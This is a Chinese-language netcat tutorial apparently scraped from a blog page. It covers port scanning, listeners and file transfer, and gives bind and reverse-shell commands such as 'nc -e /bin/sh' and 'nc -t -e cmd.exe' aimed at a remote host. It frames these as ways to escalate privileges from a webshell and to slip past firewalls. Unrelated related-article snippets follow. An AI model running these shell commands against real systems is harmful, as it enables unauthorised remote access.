NetCat参数说明:

主要参数:

-c shell commands	 与`-e’一样效果(use /bin/sh to exec )

-e filename      	程序重定向

-d                 无命令行界面,使用后台模式

 -i <延迟秒数>      设置时间间隔,以便传送信息及扫描通信端口;

-l                 监听模式,用于入站连接 

-L                监听模式,连接关闭后仍然继续监听,直到CTR+C 

-n                IP地址,不能用域名 

-o <文件名>       记录16进制的传输 

-p <端口>          本地端口号 

-r                随机本地及远程端口 

-s <地址>         设置本地主机送出数据包的IP地址

-t                使用Telnet交互方式 

-T tos            set Type Of Service

-u                UDP模式 

-v                详细输出,用-vv将更详细 

-w <数字>          timeout延时间隔 

-z                 将输入,输出关掉(用于扫锚时)

一般netcat做的最多的事情为以下三种:

  • 扫描指定IP端口情况

  • 端口转发数据(重点)

  • 提交自定义数据包

1、扫描常用命令。

以下IP 处可以使用域名,nc会调用NDS解析成IP地址。

nc -v ip port            #扫瞄某 IP 的某个端口,返回端口信息详细输出。如:nc -v 96.44.174.9 80
nc -v -z ip port-port            #扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z 96.44.174.9 80-1024
nc -v -z -u ip port-port            #扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z -u 96.44.174.9 25-1024
nc -nvv -w2 -z ip port-port            #扫锚某IP的端口段,连接超时时间为2秒。如:nc -nvv -w2 -z 96.44.174.9 80-1024

2、监听端口、连接端口、转发端口常用命令。

nc -l -p 520            #开启本机的 TCP 520 端口并监听次端口的上传输的数据。
nc -l -v -p 520            #开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。
nc -l -p 520 > C:/log.dat            #开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。
nc -nvv 192.168.1.101 520            #连接到192.168.1.101主机的 520。
  • 重点一(正向连接):*
nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe            #远程运行
nc -nvv 192.168.1.101 2012            #本地运行

【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)。

  • 重点二(反向连接):*
nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012            #远程运行
nc -l &ndash;vv -p 2012            #本地运行

【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012 端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

总结:这个情况是最常用的内网端口转发功能,这样反弹shell即可执行命令。反向连接就是常用的反弹shell到本地,因为由主机主动发送的情况本地防火墙等设备一般不会去拦截,而正向连接到远程主机的某端口常常被拦截。

3、提交数据、文件传输常用命令

nc -vv IP port < C:/http.txt            #提交http.txt内数据包到www.91ri.org的80端口,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以自定义数据包使用此方法提交。如:nc -vv www.91ri.org 80 < C:/http.txt
nc -v -n ip port < C:/sunzn.exe            #本地运行
nc -v -l -p port > D:/sunzn.exe           #远程运行

【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。

传输http数据包实例:


Linux环境下netcat使用

好东西肯定需要在不同的环境中都能使用,在linux环境中同样有着netcat可以使用。主要过程如下:

Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

主要步骤:

1、wget一个tar压缩的nc

Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

2、解压文件

tar zxvf netcat-0.7.1.tar.gz

3、解压完毕之后会生成目录

cd netcat-0.7.1

4、配置环境

./configure

5、配置完了之后就可以编译了。

make

6、编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat文件就是我们的nc了。

远程Linux转发命令

./netcat 8.8.8.8 1234 -e /bin/sh

基本用法:

  • 连接到192.168.0.1主机的80端口

    nc -nvv 192.168.0.1 80
  • 开启本机的TCP 80端口并监听

    nc -l -p 80
  • 扫锚192.168.0.1的80-1024端口

    nc -nvv -w2 -z 192.168.0.1 80-1024
  • 绑定remote主机的cmdshell在remote的TCP 5354端口

    nc -l -p 5354 -t -e c:winntsystem32cmd.exe
  • 绑定remote主机的cmdshell并反向连接192.168.0.2的5354端口

    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354

高级用法:

  • 开启并不停地监听80端口,直到CTR+C为止

    nc -L -p 80
  • 开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt

    nc -L -p 80 > c:\log.txt 作为蜜罐用2
  • 开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用

    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1
  • 开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用

    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2
  • 开启并不停地监听本机端口,直到CTR+C为止

    nc -l -p 本机端口
  • 在对方 win2000+主机上用:

    nc -e cmd.exe 本机IP -p 本机端口
  • linux,unix上,反向连接突破对方主机的防火墙

    nc -e /bin/sh 本机IP -p 本机端口
  • 本机上用

    nc -d -l -p 本机端口 < 要传送的文件路径及名称
  • 在对方主机上用

    nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机

备 注:

< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令

@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中

“>”与“>>”的区别 :">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

NC使用教程的更多相关文章

  1. 黑客瑞士军刀NC使用教程

    ###################################################################### 1. 写在前面的话 ################### ...

  2. 倍福TwinCAT(贝福Beckhoff)基础教程7.1 TwinCAT如何简单执行NC功能块 TC2

    TC2的程序是在TC3的基础上稍作调整,只说明不同点,请先看TC3的. TC2中的一个原本是AXIS_REF类型变量被拆成了两个(PLCTONC_AXLESTRUCT和NCTOPLC_AXLESTRU ...

  3. NC 工具的使用教程

    NC工具的使用说明...nc使用说明 参数介绍: nc.exe -h即可看到各参数的使用方法. 基本格式:nc [-options] hostname port[s] [ports] ... nc - ...

  4. 倍福TwinCAT(贝福Beckhoff)应用教程13.3 TwinCAT控制松下伺服 NC配合完整上位

    这是TwinCAT教程的最后一节,简单讲述了以C#为上位,通过ADS控制TwinCAT下位,实现完整控制两轴模组的功能.可以发现,在上位层已经没有了运动控制的代码,不管是要执行哪种运动,无非是把目标参 ...

  5. 倍福TwinCAT(贝福Beckhoff)应用教程12.3 TwinCAT控制松下伺服 NC进阶

    在前面一节,我们简单介绍了通过PLC+HMI实现完整控制松下伺服的上使能-运动,采集位置,速度等功能,这里我们会大量简化用到的贝福功能块(为了更加实用).首先依然是对单个轴的封装,我们之前的做法,例如 ...

  6. 倍福TwinCAT(贝福Beckhoff)应用教程12.2 TwinCAT控制松下伺服 NC初步

    在前面我们已经学会了使用贝福自带的调试软件完成试运行,接下来是使用TWINCAT PLC实现这个功能,右击PLC添加一个PLC项目   在VISUs上右击添加一个HMI人机界面   目前PLC程序和人 ...

  7. 倍福TwinCAT(贝福Beckhoff)基础教程7.1 TwinCAT 如何简单执行NC功能块 TC3

    这一节我们介绍简单的NC运动(前面所讲的所有内容都是PLC编程和HMI的界面,算是基础知识),这里NC就是控制伺服电机的部分(当然还不是实际的NC轴,是虚拟轴,但是用到的函数都是一样,可以为后面的实际 ...

  8. 倍福TwinCAT(贝福Beckhoff)应用教程13.2 TwinCAT控制松下伺服 NC自定义直线插补

    对于MOVEJ的关节运动来说,我们只关心每个电机的角度(只需要考虑多个电机协同开始运动和结束运动,关键是对每个电机加速度均一化,从而一起跑一起停,这部分内容可以参考机器人学导论以获取更加详细的说明), ...

  9. 倍福TwinCAT(贝福Beckhoff)应用教程13.1 TwinCAT控制松下伺服 NC高级

    本节主要演示了使用自定义函数实现电机的运动(梯形曲线和S曲线都有实现),这里的JOG+和JOG-,针对单个关节实现了PTP的运动(跟贝福的MoveAbsolute功能块实现效果一致),在此没有介绍运动 ...

随机推荐

  1. linux 使用 jiffies 计数器

    这个计数器和来读取它的实用函数位于 <linux/jiffies.h>, 尽管你会常常只是包含 <linux/sched.h>, 它会自动地将 jiffies.h 拉进来. 不 ...

  2. ZR10.1青岛集训三地联考

    ZR10.1青岛集训三地联考 谢谢dijk和smy A 题目大意: 已知斐波那契数列\(f\) 设 \[ F_i = \sum_{i = 0}^nf_if_{n - i} \] 求 \[ \sum_{ ...

  3. C# 任务并行

    . List<int> ids = new List<int>(); ; i < ; i++) { ids.Add(i); } ;//最大并行数量 List<Tas ...

  4. 关于启动php-fpm失败的解决办法

    当我执行 sudo lnmp php-fpm restart会出现如下错误 Starting php-fpm /usr/local/php/sbin/php-fpm: error while load ...

  5. AS优化

    第一步:打开AS安装所在的位置,用记事本打开“红色框”选中的文件. 如图: 第二步:打开“studio64.exe.vmoptions”文件后修改里面的值,修改后如下: 1 2 3 4 5 6 7 8 ...

  6. Java面向对象程序设计第9章1-9

    Java面向对象程序设计第9章1-9 1. 线程和进程的联系和区别是什么? 联系: 一个进程可以包括多个线程. 区别: 进程: 进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动,它是系统 ...

  7. [Vue源码]一起来学Vue模板编译原理(一)-Template生成AST

    本文我们一起通过学习Vue模板编译原理(一)-Template生成AST来分析Vue源码.预计接下来会围绕Vue源码来整理一些文章,如下. 一起来学Vue双向绑定原理-数据劫持和发布订阅 一起来学Vu ...

  8. 最小化centos7.4系统静默安装oracle12.2

    一 orace简介 ORACLE(甲骨文)公司.Oracle Database (甲骨文数据库) 是一个具有对象和可扩展标记语言(XML)功能的关系数据库,提供的以分布式数据库为核心的一组软件产品,是 ...

  9. 计算机专业如何高质量的走完大学四年?毕业成为Offer收割机

    前言:迷茫本就是青春该有的模样,但不要让未来的你讨厌现在的自己. "就要毕业了. 回头看自己所谓的大学生活, 我想哭,不是因为离别,而是因为什么都没学到. 我不知,简历该怎么写,若是以往我会 ...

  10. Shiro权限管理框架(五):自定义Filter实现及其问题排查记录

    明确需求 在使用Shiro的时候,鉴权失败一般都是返回一个错误页或者登录页给前端,特别是后台系统,这种模式用的特别多.但是现在的项目越来越多的趋向于使用前后端分离的方式开发,这时候就需要响应Json数 ...